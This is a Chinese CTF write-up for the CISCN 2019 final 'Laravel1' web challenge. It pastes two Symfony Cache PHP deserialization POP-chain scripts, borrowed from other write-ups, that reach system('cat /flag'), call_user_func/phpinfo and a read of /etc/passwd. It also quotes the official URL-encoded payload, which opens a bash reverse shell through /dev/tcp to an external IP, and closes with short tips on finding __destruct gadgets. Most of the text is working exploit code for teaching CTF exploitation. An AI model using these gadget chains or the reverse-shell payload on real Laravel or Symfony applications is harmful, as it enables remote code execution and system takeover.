[CISCN2019 总决赛 Day1 Web4]Laravel1

0x00 知识点

这个题核心就是找POP链，看了一下网上的WP，难顶啊。。

先贴上思路和poc，之后等熟练了再来做吧

https://glotozz.github.io/2019/11/05/buuctf-wp-4/

POP链：

<?php
namespace Symfony\Component\Cache;
class CacheItem
{

    protected $innerItem = 'cat /flag';

}

namespace Symfony\Component\Cache\Adapter;

class ProxyAdapter
{
	private $setInnerItem = 'system';
}

class TagAwareAdapter
{
	public $deferred = [];
	public function __construct()
    {
    	$this->pool = new ProxyAdapter();

    }
}

$a = new TagAwareAdapter();
$a -> deferred = array('a' => new \Symfony\Component\Cache\CacheItem);
echo urlencode(serialize($a));

链接2：

https://xz.aliyun.com/t/5816#toc-3

<?php
namespace Symfony\Component\Cache{

    use Symfony\Component\Cache\Adapter\ProxyAdapter;

    final class CacheItem{
        protected $key;
        protected $value;
        protected $isHit = false;
        protected $expiry;
        protected $defaultLifetime;
        protected $metadata = [];
        protected $newMetadata = [];
        protected $innerItem;
        protected $poolHash;
        protected $isTaggable = false;
        public function __construct()
        {
            $this->expiry = 'sjdjfkas';
            $this->poolHash = '123';
            $this->key = '';
        }
    }
}
namespace Symfony\Component\Cache\Adapter{

    use Symfony\Component\Cache\CacheItem;
    use Symfony\Component\Ldap\Adapter\ExtLdap\Adapter;
    class PhpArrayAdapter{
        private $file;
        public function __construct()
        {
            $this->file = '/etc/passwd';
        }
    }

    class ProxyAdapter{
        private $namespace;
        private $namespaceLen;
        private $createCacheItem;
        private $setInnerItem;
        private $poolHash;
        private $pool;
        public function __construct()
        {
            $this->pool = new ChainAdapter();
            $this->createCacheItem = 'call_user_func';
            $this->namespace = 'phpinfo';
        }
    }
    class TagAwareAdapter{
        private $deferred = [];
        private $createCacheItem;
        private $setCacheItemTags;
        private $getTagsByKey;
        private $invalidateTags;
        private $tags;
        private $knownTagVersions = [];
        private $knownTagVersionsTtl;
        private $pool;

        public function __construct()
        {
            $this->deferred = array('flight' => new CacheItem());
            $this->pool = new PhpArrayAdapter();
        }
    }
}

namespace {

    use Symfony\Component\Cache\Adapter\TagAwareAdapter;

    $obj = new TagAwareAdapter();
    echo urlencode(serialize($obj));
}

官方payload:

http://localhost/pop_chain/laravel/public/index.php/index?payload=O%3A47%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%22%3A2%3A%7Bs%3A57%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00deferred%22%3Ba%3A1%3A%7Bi%3A1%3BO%3A33%3A%22Symfony%5CComponent%5CCache%5CCacheItem%22%3A3%3A%7Bs%3A12%3A%22%00%2A%00innerItem%22%3Bs%3A45%3A%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F115.159.184.127%2F9998%200%3E%261%22%3Bs%3A11%3A%22%00%2A%00poolHash%22%3Bs%3A1%3A%221%22%3Bs%3A9%3A%22%00%2A%00expiry%22%3Bs%3A1%3A%221%22%3B%7D%7Ds%3A53%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00pool%22%3BO%3A44%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%22%3A2%3A%7Bs%3A58%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00setInnerItem%22%3Bs%3A6%3A%22system%22%3Bs%3A54%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00poolHash%22%3Bs%3A1%3A%221%22%3B%7D%7D";}s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}}

总结一下本题找POP链：

1：存在反序列化，那么难点就是寻找POP链

首先全局搜索__destruct()

2:跟进__destruct()中有我们可控的变量的方法

3、如果一个类不行，换一个然后全局搜索能利用的可控方法的类